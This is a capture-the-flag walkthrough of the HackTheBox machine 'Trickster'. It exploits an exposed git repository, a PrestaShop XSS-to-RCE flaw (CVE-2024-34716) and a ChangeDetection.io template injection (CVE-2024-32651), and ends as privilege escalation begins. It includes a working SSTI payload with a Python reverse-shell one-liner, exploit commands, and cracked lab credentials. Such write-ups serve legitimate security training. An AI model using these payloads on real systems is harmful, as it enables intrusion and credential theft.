Trickster – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Medium
  • Platform: HackTheBox

‘Trickster’ Avatar


Summary Link to heading

“Trickster” is a medium Linux machine from HackTheBox. The victim machine is running a web server that is exposing a git repository. This repository leaks the path of an internal site running PrestaShop with a version vulnerable to Cross-Site Scripting that leads to Remote Code Execution through a vulnerability labeled as CVE-2024-34716. Once inside the victim machine, we are also able to find some credentials in the configuration files of service, pivoting to a new user. After inspecting the internal networks of the machine, we note that the machine is running a Docker container. After scanning open ports of the Docker container, and after creating a tunnel through a Local Port Forwarding, we are able to access to an internal site the container was running. This internal site of the container is running ChangeDetection.io and is recycling credentials from the previous user we have found. This service is vulnerable to Server-Side Template Injection thanks to a vulnerability labeled as CVE-2024-32651, which allow us to gain access to the Docker container as root. We are able to find some Brotli files in the container that contains the credentials for a new user, allowing us to pivot to this new user. This new user can run PrusaSlicer with sudo. Abusing a vulnerability labeled as CVE-2023-47268, we are able to create a malicious file and execute commands as a privileged user; taking total control of the system.


User Link to heading

Starting with an Nmap scan shows only 2 ports open: 22 SSH and 80 HTTP:

❯ sudo nmap -sVC -p22,80 10.10.11.34

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 23:14 -03
Nmap scan report for 10.10.11.34
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_  256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://trickster.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.97 seconds

From the output we can see a domain for HTTP site: trickster.htb. We add this domain to our /etc/hosts file:

❯ echo '10.10.11.34 trickster.htb' | sudo tee -a /etc/hosts

Visiting http://trickster.htb shows a shopping website:

Trickster 1

Many of the items in the page don’t work. However, if we click on SHOP button it redirects to http://shop.trickster.htb. We add this new subdomain to our /etc/hosts file, so now it looks like:

❯ tail -n 1 /etc/hosts

10.10.11.34 trickster.htb shop.trickster.htb

Visiting http://shop.trickster.htb shows the products of the shop:

Trickster 2

We create an account in shop.trickster.htb site. But we were not able to see interesting info.

After inspecting the page, at the very bottom we have a message (and an email admin@trickster.htb):

Trickster 3

© 2024 - Ecommerce software by PrestaShop™

It is running PrestaShop.

Visiting its page shows the following info:

Info
The PrestaShop project is a universal open-source software platform to build your e-commerce solution.
We can get more info about this software in its Github repository. It is mainly written in PHP.

Searching for vulnerabilities for PrestaShop in MITRE returns many vulnerabilities. Among them we find some SQL Injection; which is a blind SQL Injection, but did not worked.

We search for hidden directories through a Brute Force Directory Listing with Gobuster. After attempting some dictionaries for directories, raft-small-word.txt from SecLists works:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u http://shop.trickster.htb -t 55 --exclude-length 283

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://shop.trickster.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] Exclude Length:          283
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git                 (Status: 301) [Size: 323] [--> http://shop.trickster.htb/.git/]
Progress: 43007 / 43008 (100.00%)
===============================================================
Finished
===============================================================

We find a .git directory.

We can inspect the site with cURL and html2text:

❯ curl -s http://shop.trickster.htb/.git/ | html2text

****** Index of /.git ******
`ICO`       Name             Last modified    Size Description
===========================================================================
`PARENTDIR` Parent Directory                     -  
`   `       COMMIT_EDITMSG   2024-05-25 19:25   20  
`   `       HEAD             2024-05-25 19:25   28  
`DIR`       branches/        2024-09-13 12:24    -  
`   `       config           2024-05-25 19:25  112  
`   `       description      2024-05-25 19:25   73  
`DIR`       hooks/           2024-09-13 12:24    -  
`   `       index            2024-05-25 19:25 246K  
`DIR`       info/            2024-09-13 12:24    -  
`DIR`       logs/            2024-09-13 12:24    -  
`DIR`       objects/         2024-09-13 12:24    -  
`DIR`       refs/            2024-09-13 12:24    -  
===========================================================================
     Apache/2.4.52 (Ubuntu) Server at shop.trickster.htb Port 80

It has the typical Git structure.

We can extract all the content of this .git directory with git-dumper (installable with pip3 install git-dumper) and the execute it:

❯ git-dumper http://shop.trickster.htb/.git/ ./git_content

[-] Testing http://shop.trickster.htb/.git/HEAD [200]
[-] Testing http://shop.trickster.htb/.git/ [200]
[-] Fetching .git recursively
<SNIP>
[-] Fetching http://shop.trickster.htb/.git/objects/ff/e5907b2f3ab36bf687d1f5a52448da5caf0f37 [200]
[-] Running git checkout .
Updated 1699 paths from the index

Entering into the directory where we have saved the project (in my case named git_content) shows the whole project in a branch named admin_panel. Checking the logs show:

❯ git log

commit 0cbc7831c1104f1fb0948ba46f75f1666e18e64c (HEAD -> admin_panel)
Author: adam <adam@trickster.htb>
Date:   Fri May 24 04:13:19 2024 -0400

    update admin pannel

We have only 1 commit that starts with 0cbc.

We can check its content:

❯ git show 0cbc7831c1104f1fb0948ba46f75f1666e18e64c

<SNIP>
+       cd themes/classic/_dev && npm run lint-fix
+       cd themes && npm run lint-fix
diff --git a/admin634ewutrx1jgitlooaj/.htaccess b/admin634ewutrx1jgitlooaj/.htaccess
new file mode 100644
index 0000000..f0eb434
--- /dev/null
+++ b/admin634ewutrx1jgitlooaj/.htaccess
@@ -0,0 +1,75 @@
+# Use the front controller as index file. It serves as a fallback solution when
+# every other rewrite/redirect fails (e.g. in an aliased environment without
<SNIP>

There is a directory named admin634ewutrx1jgitlooaj.

Additionally, if we get into the directory we have dumped the project and check the directories we get:

❯ cd git_content

❯ ls -la

total 232
drwxrwxr-x 4 gunzf0x gunzf0x   4096 Nov  8 23:49 .
drwxrwxr-x 3 gunzf0x gunzf0x   4096 Nov  8 23:47 ..
drwxrwxr-x 8 gunzf0x gunzf0x   4096 Nov  8 23:49 admin634ewutrx1jgitlooaj
-rw-rw-r-- 1 gunzf0x gunzf0x   1305 Nov  8 23:49 autoload.php
-rw-rw-r-- 1 gunzf0x gunzf0x   2506 Nov  8 23:49 error500.html
drwxrwxr-x 7 gunzf0x gunzf0x   4096 Nov  8 23:50 .git
-rw-rw-r-- 1 gunzf0x gunzf0x   1169 Nov  8 23:49 index.php
-rw-rw-r-- 1 gunzf0x gunzf0x   1256 Nov  8 23:49 init.php
-rw-rw-r-- 1 gunzf0x gunzf0x    522 Nov  8 23:49 Install_PrestaShop.html
-rw-rw-r-- 1 gunzf0x gunzf0x   5054 Nov  8 23:49 INSTALL.txt
-rw-rw-r-- 1 gunzf0x gunzf0x 183862 Nov  8 23:49 LICENSES
-rw-rw-r-- 1 gunzf0x gunzf0x    863 Nov  8 23:49 Makefile
-rw-rw-r-- 1 gunzf0x gunzf0x   1538 Nov  8 23:49 .php-cs-fixer.dist.php

We have, as expected, files for the e-commerce shop.

We check if, for example, autoload.php or error500.html exists on http://shop.trickster.htb site:

❯ curl -s -I http://shop.trickster.htb/autoload.php

HTTP/1.1 200 OK
Date: Sat, 09 Nov 2024 03:04:27 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Type: text/html; charset=UTF-8

❯ curl -s -I http://shop.trickster.htb/error500.html

HTTP/1.1 200 OK
Date: Sat, 09 Nov 2024 03:04:33 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Thu, 07 Mar 2024 17:29:12 GMT
ETag: "9ca-6131569e32a00"
Accept-Ranges: bytes
Content-Length: 2506
Vary: Accept-Encoding
Content-Type: text/html

In both cases, the directories found and with git show, we have a directory called admin634ewutrx1jgitlooaj, as we can check with cURL as well:

❯ curl -s -I http://shop.trickster.htb/admin634ewutrx1jgitlooaj/

HTTP/1.1 302 Found
Date: Sat, 09 Nov 2024 03:05:53 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: PrestaShop-b26457d332464d080116ccd6404a41a9=0; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; domain=shop.trickster.htb; HttpOnly; SameSite=Lax
Set-Cookie: PrestaShop-b26457d332464d080116ccd6404a41a9=def502004e702e3085f8821b2f9579426d0bf2725eb43a2b7f75ba7e998c2b5a9d7692d2e372e9720ae53148de423f765580cbbab519744b788bfb310e80cd247507b1b4fe5e348c8fa912b9f4b0109054638afaeecd984214488b53c3bdacccd1f41bccc9d06d513abfd70af897e65974ebf169fa6a2a80a6ac22a9bafcfbdfcc50d052012b4e064c9150502116e13051af2219f0b57d408967764146; expires=Fri, 29-Nov-2024 03:05:53 GMT; Max-Age=1728000; path=/; domain=shop.trickster.htb; HttpOnly; SameSite=Lax
Set-Cookie: PHPSESSID=c20i2altik861p84qd49r834lt; expires=Sun, 08-Oct-2079 06:11:46 GMT; Max-Age=1732849553; path=/; HttpOnly; SameSite=Lax
Location: http://shop.trickster.htb/admin634ewutrx1jgitlooaj/index.php?controller=AdminLogin&token=be9a5cdf914b6e841e76eaf7f3c4e5af
Content-Type: text/html; charset=utf-8

Visiting http://shop.trickster.htb/admin634ewutrx1jgitlooaj/ shows a new login panel:

Trickster 4

One of the vulnerabilities previously found in MITRE was CVE-2024-34716 which is a Cross Site Scripting (XSS) vulnerability for version prior to 8.1.6. Since the login panel shows version 8.1.5, this version should be vulnerable. This blog explains the vulnerability in more depth, and shows how a XSS can derive into Remote Code Execution (RCE). The same author has created this Github repository with the exploit for this vulnerability. We will clone the repository, create a virtual environment, activate it, install all the dependencies inside it and run the script. As contact email parameter we provide the mail found at the shop page (admin@trickster.htb):

❯ cd CVE-2024-34716

❯ python3 -m venv .venv_CVE

❯ source .venv_CVE/bin/activate

❯ pip3 install -r requirements.txt

<SNIP>

❯ python3 exploit.py --url http://shop.trickster.htb --admin-path 'admin634ewutrx1jgitlooaj' --email 'admin@trickster.htb' --local-ip 10.10.16.3

<SNIP>
FileNotFoundError: [Errno 2] No such file or directory: 'ncat'

We got an error. The program cannot find ncat binary. For some reason the author of the exploit decided to name ncat the netcat binary. In my case I always call it as nc, so just replace the text in line:

❯ grep -n 'ncat' exploit.py

121:        output = subprocess.call(["ncat", "-lnvp", "12345"], shell=False)

From ncat to nc.

We run again the exploit:

❯ python3 exploit.py --url http://shop.trickster.htb --admin-path 'admin634ewutrx1jgitlooaj' --email 'admin@trickster.htb' --local-ip 10.10.16.3

[X] Starting exploit with:
        Url: http://shop.trickster.htb
        Email: admin@trickster.htb
        Local IP: 10.10.16.3
        Admin Path: admin634ewutrx1jgitlooaj
Serving at http.Server on port 5000
[X] Ncat is now listening on port 12345. Press Ctrl+C to terminate.
listening on [any] 12345 ...
GET request to http://shop.trickster.htb/themes/next/reverse_shell_new.php: 403
<SNIP>
Request: GET /ps_next_8_theme_malicious.zip HTTP/1.1
Response: 200 -
10.10.11.34 - - [09/Nov/2024 00:28:28] "GET /ps_next_8_theme_malicious.zip HTTP/1.1" 200 -
GET request to http://shop.trickster.htb/themes/next/reverse_shell_new.php: 403
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.34] 44162
Linux trickster 5.15.0-121-generic #131-Ubuntu SMP Fri Aug 9 08:29:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 03:28:46 up  1:20,  0 users,  load average: 0.02, 0.09, 0.15
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

$ www-data

We get a shell as www-data user.

At /var/www we have a directory named prestashop. Based on PrestaShop documentation we should have a directory named config, where all the needed config files are:

www-data@trickster:~/prestashop$ ls -la config

total 108
drwxr-xr-x  5 www-data www-data  4096 Sep 13 12:24 .
drwxr-xr-x 28 www-data www-data  4096 Sep 17 18:07 ..
-rwxr-xr-x  1 www-data www-data   170 Mar  7  2024 .htaccess
-rwxr-xr-x  1 www-data www-data  2057 Mar  7  2024 alias.php
-rwxr-xr-x  1 www-data www-data  1378 Mar  7  2024 autoload.php
-rwxr-xr-x  1 www-data www-data  6177 Mar  7  2024 bootstrap.php
-rwxr-xr-x  1 www-data www-data 11654 Mar  7  2024 config.inc.php
-rwxr-xr-x  1 www-data www-data  1337 Mar  7  2024 db_slave_server.inc.php
-rwxr-xr-x  1 www-data www-data  7749 Mar  8  2024 defines.inc.php
-rwxr-xr-x  1 www-data www-data  3303 Mar  7  2024 defines_uri.inc.php
-rwxr-xr-x  1 www-data www-data  1369 Mar  7  2024 index.php
drwxr-xr-x  5 www-data www-data  4096 Sep 13 12:24 services
-rw-r--r--  1 www-data www-data    23 May 25 19:09 settings.inc.php
-rwxr-xr-x  1 www-data www-data  8869 Mar  7  2024 smarty.config.inc.php
-rwxr-xr-x  1 www-data www-data  6008 Mar  7  2024 smartyadmin.config.inc.php
-rwxr-xr-x  1 www-data www-data  9503 Mar  7  2024 smartyfront.config.inc.php
drwxr-xr-x  4 www-data www-data  4096 Sep 13 12:24 themes
drwxr-xr-x  3 www-data www-data  4096 Sep 13 12:24 xml

Checking config.inc.php shows:

<SNIP>
/* No settings file? goto installer... */
if (!file_exists(_PS_ROOT_DIR_ . '/app/config/parameters.yml') && !file_exists(_PS_ROOT_DIR_ . '/app/config/parameters.php')) {
    Tools::redirectToInstall();
}
<SNIP>

We have two interesting files to check /app/config/parameters.yml and /app/config/parameters.php. We then go to /var/www/prestashop/app and check these files:

www-data@trickster:~/prestashop/app/config$ ls -la

total 92
drwxr-xr-x 4 www-data www-data 4096 Sep 13 12:24 .
drwxr-xr-x 5 www-data www-data 4096 Sep 13 12:24 ..
drwxr-xr-x 2 www-data www-data 4096 Sep 13 12:24 addons
drwxr-xr-x 2 www-data www-data 4096 Sep 13 12:24 api_platform
-rwxr-xr-x 1 www-data www-data 3421 Mar  7  2024 config.yml
<SNIP>
-rw-r--r-- 1 www-data www-data 3197 May 25 19:09 parameters.php
-rw-r--r-- 1 www-data www-data   11 May 25 19:09 parameters.yml
<SNIP>

Reading parameters.php we get:

<?php return array (
  'parameters' =>
  array (
    'database_host' => '127.0.0.1',
    'database_port' => '',
    'database_name' => 'prestashop',
    'database_user' => 'ps_user',
    'database_password' => 'prest@shop_o',
    'database_prefix' => 'ps_',
    'database_engine' => 'InnoDB',
    'mailer_transport' => 'smtp',
    'mailer_host' => '127.0.0.1',
    'mailer_user' => NULL,
    'mailer_password' => NULL,
    'secret' => 'eHPDO7bBZPjXWbv3oSLIpkn5XxPvcvzt7ibaHTgWhTBM3e7S9kbeB1TPemtIgzog',
    'ps_caching' => 'CacheMemcache',
    <SNIP>

We have credentials for a database.

Checking internal ports open, we can see that port 3306 is open:

www-data@trickster:~/prestashop/app/config$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                            Peer Address:Port              Process
LISTEN              0                   80                                   127.0.0.1:3306                                 0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:80                                   0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                   0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:42981                                0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                   0.0.0.0:*
LISTEN              0                   128                                       [::]:22                                      [::]:*

So I assume it is using MySQL as database (since 3306 is its default port).

We enter in the database:

www-data@trickster:~/prestashop/app/config$ mysql -u ps_user -p'prest@shop_o' -h 127.0.0.1 prestashop

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2257
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [prestashop]>

And search for info. Eventually we get ps_employee table at prestashop database:

MariaDB [prestashop]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| prestashop         |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [prestashop]> use prestashop;
Database changed

We find in this database:

MariaDB [prestashop]> select id_employee,firstname,lastname,email,passwd from ps_employee;

+-------------+-----------+----------+---------------------+--------------------------------------------------------------+
| id_employee | firstname | lastname | email               | passwd                                                       |
+-------------+-----------+----------+---------------------+--------------------------------------------------------------+
|           1 | Trickster | Store    | admin@trickster.htb | $2y$10$P8wO3jruKKpvKRgWP6o7o.rojbDoABG9StPUt0dR7LIeK26RdlB/C |
|           2 | james     | james    | james@trickster.htb | $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm |
+-------------+-----------+----------+---------------------+--------------------------------------------------------------+
2 rows in set (0.000 sec)

We get hashes for users admin and james.

We save both hashes into our attacker machine and attempt to crack it through a Brute Force Password Cracking with JohnTheRipper (john):

❯ john --wordlist=/usr/share/wordlists/rockyou.txt hashes_found

Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 16 to 1024
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alwaysandforever (?)
Use the "--show" option to display all of the cracked passwords reliably

We have a password alwaysandforever.

We check existent users into the victim machine:

www-data@trickster:~/prestashop/app/config$ cat /etc/passwd | grep 'sh$'

root:x:0:0:root:/root:/bin/bash
james:x:1000:1000:trickster:/home/james:/bin/bash
adam:x:1002:1002::/home/adam:/bin/bash
runner:x:1003:1003::/home/runner:/bin/sh

Since james user was in the database, we check if this password works for james user in SSH with NetExec tool:

❯ nxc ssh 10.10.11.34 -u 'james' -p 'alwaysandforever'

SSH         10.10.11.34     22     10.10.11.34      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.34     22     10.10.11.34      [+] james:alwaysandforever  Linux - Shell access!

They work! We can then log via SSH into the victim machine with these credentials:

❯ sshpass -p 'alwaysandforever' ssh -o stricthostkeychecking=no james@10.10.11.34

Warning: Permanently added '10.10.11.34' (ED25519) to the list of known hosts.
Last login: Thu Sep 26 11:13:01 2024 from 10.10.14.41
james@trickster:~$ whoami

james

We can finally get user flag.


Root Link to heading

Checking net interfaces in the box shows the machine is running a Docker container:

james@trickster:~$ ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:ce:84 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.34/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:a9:31:d0:dc brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
17: veth05fe97a@if16: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
    link/ether ee:84:d4:10:36:9c brd ff:ff:ff:ff:ff:ff link-netnsid 0

Usually, 172.17.0.1 is the IP address of the host machine in the Docker network and 172.17.0.2 should be the IP address of another containers running internally.

We check if 172.17.0.2 responds with a simple ping:

james@trickster:~$ ping -c1 172.17.0.2

PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.054 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.054/0.054/0.054/0.000 ms

We can also check processes being executed on the machine with ps:

james@trickster:~$ ps aux | grep 'container'

root        1283  0.1  1.1 1801044 47244 ?       Ssl  02:08   0:08 /usr/bin/containerd
root        1432  0.0  1.9 1977936 77032 ?       Ssl  02:08   0:01 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root       12594  0.0  0.3 1238656 12860 ?       Sl   04:00   0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id a4b9a36ae7ffc48c2b451ead77f93a8572869906f386773c3de528ca950295cd -address /run/containerd/containerd.sock
james      13313  0.0  0.0   6612  2304 pts/1    S+   04:07   0:00 grep --color=auto container

We cannot do much on the container itself since our current user is not in docker group:

james@trickster:~$ id

uid=1000(james) gid=1000(james) groups=1000(james)

james@trickster:~$ docker images

permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/images/json": dial unix /var/run/docker.sock: connect: permission denied

To check TCP ports open in the Docker container I will use this Bash script to scan ports I have made some time ago. I have made this script in such a way it uses threads so the scan is not so slow. Just copy the code, open a text editor like Vim or nano in the victim machine and save it; in my case I will save this as portScanner.sh. Remember to assign to it execution permissions:

james@trickster:~$ vim /tmp/portScanner.sh

james@trickster:~$ chmod +x /tmp/portScanner.sh

james@trickster:~$ bash /tmp/portScanner.sh

Usage: /tmp/portScanner.sh <IP_ADDRESS> <START_PORT> <END_PORT> <THREADS>

We will scan the first 10 000 ports (from 1 to 10 000) using 10 threads:

james@trickster:~$ bash /tmp/portScanner.sh 172.17.0.2 1 10000 10

[+] Port 5000 is open

Port 5000 is open in the container. We check if this port is actually some kind of webpage using cURL:

james@trickster:~$ curl -s http://172.17.0.2:5000

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=/">/login?next=/</a>. If not, click the link.

It seems to be since we get a HTML response.

Since we have connection through SSH I will logout from the current SSH session and re-connect to the victim machine, but this time establishing a tunnel. I will convert port 5000 from 172.17.0.2 container into my port 5000 (attacker machine):

❯ sshpass -p 'alwaysandforever' ssh -o stricthostkeychecking=no -L 5000:172.17.0.2:5000 james@10.10.11.34
Note
If, to get the shell as www-data user, we used the payload/exploit from the Github repository remember it uses port 5000 to start a Python HTTP temporal server. You have to kill the connection and stop the script from www-data before doing this connection or the port will be occupied and we will not be able to use our port 5000.

We can now see a new webpage:

Trickster 5

The site is running ChangeDetection.io:

Info
ChangeDetection.io is an open-source tool for website change detection. It is capable of monitoring HTML and JSON files and can send various types of notifications when a change is detected.

We can see a version for it at the right side 0.45.20.

Before searching for exploits, we use the only password we have found so far: alwaysandforever. This password works. We are inside:

Trickster 6

Searching for vulnerabilities for this version we find this blog that explains how to exploit the vulnerability CVE-2024-32651, but we will slightly change some things. In short, the application is vulnerable to Server-Side Template Injection (SSTI) and we are able to execute commands.

First, we add our victim machine to detection methods. In Add a new change detection watch we add our victim machine IP address 172.17.0.1:8000 (in the Docker net interface) and click on Watch. We will set the HTTP server on port 8000. It should be added at the end of the page.:

Trickster 7

Then, go to Settings -> Notifications and add as notification post://172.17.0.1:8000 (if you want to use other protocols check the official documentation and this page). This will tell ChangeDetection.io to send the notification through a POST request to the IP address 172.17.0.1 on port 8000. Additionally, in the notification body we put the payload:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Trickster 9

Click on Save at the bottom of the page. Next, we grab a copy of a Python script I made some time ago from my Github repository that is basically a Python HTTP temporal server that accepts POST method (if we use python3 -m http.server it only accepts GET method). I do this since I want to see the output sent to us (and that’s why I am using POST instead of GET method). We can also use netcat (that is already installed on the victim machine).

james@trickster:~$ python3 post_http_server.py -p 8000

[+] Server started on port 8000...

Back to the Settings -> Notification page, click on Send test notification. We get something in our listener:

james@trickster:~$ python3 /tmp/post_http_server.py -p 8000

[+] Server started on port 8000...
[+] Received POST data:
 uid=0(root) gid=0(root) groups=0(root)

This seems to work.

We then add the payload:

{{ self.__init__.__globals__.__builtins__.__import__('os').system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")\'') }}

where 172.17.0.1 is the victim machine in the Docker interface (not our attacker IP) and 4444 a port I will start listening with netcat. Click on Save at the bottom of the page.

Log in a new session through SSH into the victim machine and start a listener with netcat on port 4444 on the victim machine as well. We go back to the Settings page and click on Send test notification again. We get a shell as root user in the container:

james@trickster:~$ nc -lvnp 4444

Listening on 0.0.0.0 4444
Connection received on 172.17.0.2 46098
# whoami
whoami
root

Checking / directory in the container shows an unusual directory named datastore:

# ls -la /

ls -la /
total 72
drwxr-xr-x   1 root root 4096 Sep 26 11:03 .
drwxr-xr-x   1 root root 4096 Sep 26 11:03 ..
-rwxr-xr-x   1 root root    0 Sep 26 11:03 .dockerenv
<SNIP>
drwxr-xr-x   2 root root 4096 Sep 13 12:24 boot
drwxr-xr-x   6 root root 4096 Nov  9 07:07 datastore
drwxr-xr-x   5 root root  340 Nov  9 07:00 dev
<SNIP>

We can see a Backups directory and a couple of .zip files:

root@a4b9a36ae7ff:/datastore/Backups# ls -la

total 52
drwxr-xr-x 2 root root  4096 Aug 31 08:56 .
drwxr-xr-x 6 root root  4096 Nov  9 07:10 ..
-rw-r--r-- 1 root root  6221 Aug 31 08:53 changedetection-backup-20240830194841.zip
-rw-r--r-- 1 root root 33708 Aug 30 20:25 changedetection-backup-20240830202524.zip

Expose both files setting another Python HTTP server on port 8080 in the Docker container:

root@a4b9a36ae7ff:/datastore/Backups# ls -la && python3 -m http.server 8080
total 52

drwxr-xr-x 2 root root  4096 Aug 31 08:56 .
drwxr-xr-x 6 root root  4096 Nov  9 07:11 ..
-rw-r--r-- 1 root root  6221 Aug 31 08:53 changedetection-backup-20240830194841.zip
-rw-r--r-- 1 root root 33708 Aug 30 20:25 changedetection-backup-20240830202524.zip
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

and download them into the victim machine:

james@trickster:~$ wget http://172.17.0.2:8080/changedetection-backup-20240830194841.zip -O /tmp/backup_1.zip -q

james@trickster:~$ wget http://172.17.0.2:8080/changedetection-backup-20240830202524.zip -O /tmp/backup_2.zip -q

We decompress the files:

james@trickster:/tmp$ mkdir backup_1

james@trickster:/tmp$ mv backup_1.zip backup_1

james@trickster:/tmp$ cd !$
cd backup_1

james@trickster:/tmp/backup_1$ unzip backup_1

Archive:  backup_1.zip
   creating: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/
 extracting: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt.br
 extracting: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/history.txt
  inflating: secret.txt
  inflating: url-list.txt
  inflating: url-list-with-tags.txt
  inflating: url-watches.json

We have .txt.br files. If we try to read them they don’t show clear data.

Searching for .txt.br extension we get:

Info
A BR file is a compressed web file generated by applying the open source data compression algorithm, Brotli. It is used to store webpage assets such as stylesheets (CSS), images (SVG), XML, and scripting files (JavaScript). Modern day websites, such as Chrome and Firefox, use BR files to reduce the page loading time, resulting in better user experience.

We pass all the .txt.br files found at the backup files to our attacker machine. We also need to install Brotli into our attacker machine (sudo apt install brotli for Kali) and extract its content:

❯ brotli -d ba1fe8fcfb743ba16a136d805c38328f.txt.br

❯ brotli -d dd25d6c8b666e21ac6e596faa4d4a93d.txt.br

❯ brotli -d f04f0732f120c0cc84a993ad99decb2c.txt.br

❯ ls -la

total 172
drwxrwxr-x 2 gunzf0x gunzf0x  4096 Nov  9 04:32 .
drwxrwxr-x 4 gunzf0x gunzf0x  4096 Nov  9 04:32 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 96065 Aug 30 16:21 ba1fe8fcfb743ba16a136d805c38328f.txt
-rw-rw-r-- 1 gunzf0x gunzf0x 28498 Aug 30 16:21 ba1fe8fcfb743ba16a136d805c38328f.txt.br
-rw-rw-r-- 1 gunzf0x gunzf0x 17676 Aug 30 16:21 dd25d6c8b666e21ac6e596faa4d4a93d.txt
-rw-rw-r-- 1 gunzf0x gunzf0x  1679 Aug 30 16:21 dd25d6c8b666e21ac6e596faa4d4a93d.txt.br
-rw-rw-r-- 1 gunzf0x gunzf0x 11866 Aug 30 19:47 f04f0732f120c0cc84a993ad99decb2c.txt
-rw-rw-r-- 1 gunzf0x gunzf0x  2605 Aug 30 19:47 f04f0732f120c0cc84a993ad99decb2c.txt.br

One of the extracted files shows an interesting content:

❯ cat f04f0732f120c0cc84a993ad99decb2c.txt

<SNIP>
                'database_name' => 'prestashop' ,
                'database_user' => 'adam' ,
                'database_password' => 'adam_admin992' ,
                'database_prefix' => 'ps_'
<SNIP>

adam was another user present in the machine.

We check if this password works for adam user with NetExec:

❯ nxc ssh 10.10.11.34 -u 'adam' -p 'adam_admin992'

SSH         10.10.11.34     22     10.10.11.34      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.34     22     10.10.11.34      [+] adam:adam_admin992  Linux - Shell access!

and log in via SSH:

❯ sshpass -p 'adam_admin992' ssh -o stricthostkeychecking=no adam@10.10.11.34

adam@trickster:~$

We check what can this user run with sudo:

adam@trickster:~$ sudo -l

Matching Defaults entries for adam on trickster:
